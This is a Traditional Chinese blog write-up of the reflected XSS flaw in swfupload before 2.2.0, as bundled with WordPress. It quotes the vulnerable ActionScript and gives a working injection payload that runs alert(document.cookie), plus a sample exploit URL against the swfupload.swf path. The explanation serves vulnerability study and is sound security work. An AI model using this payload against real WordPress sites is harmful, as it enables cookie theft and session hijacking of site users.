Wordpress 中的 TinyMCE 編輯器,他的檔案上傳工具是使用 swfupload ,swfupload 主要是為了提供 flash 多檔案上傳功能,在 HTML5 File API 還未開發出來時,我們都是使用 Flash 來達成網頁可以同時選取多個檔案,以及同時上傳。
swfupload 2.2.0 以前的版本,已經被發現一個 XSS 的漏洞。
先來看一段 swfupload ActionScript 3.0 的程式
- this.movieName = root.loaderInfo.parameters.movieName;
- this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
- if (ExternalCall.Bool(this.testExternalInterface_Callback)) {
- ExternalCall.Simple(this.flashReady_Callback);
- this.hasCalledFlashReady = true;
- }
前兩行有一個很大的問題, input value 沒有經過任何檢查,這樣駭客可以對 movieName 植入任意值,而 4 ,5 又會直接執行 Simple 這個 function。
Simple 的程式碼可以看這一段
- public static function Simple(callback:String):void {
- ExternalInterface.call(callback);
- }
這裡直接執行了 callback ,也就上一段的 flashReady_Callback , flash 會將 SWFUpload.instancesxxx 這一段文字當成一個字串,並且先 parse 後,交給 Javascript 去執行。
因為最後是交由 Javascript 去執行這一段 code ,所以我們就輸入以下的 hack 字串。
- "]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //
最後的結果,Javascript 會去執行這段有問題的程式。
- try {
- return encodeURIComponent( SWFUpload.instances[""] );
- } catch (e) {};
- if ( typeof(xss) == "undefined" ) { alert(document.cookie); }
- var xss=1;
- // "].flashReady();
XSS URL sample :
http://xxx.hackwordpress/wp-includes/js/swfupload/swfupload.swf?movieName="]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //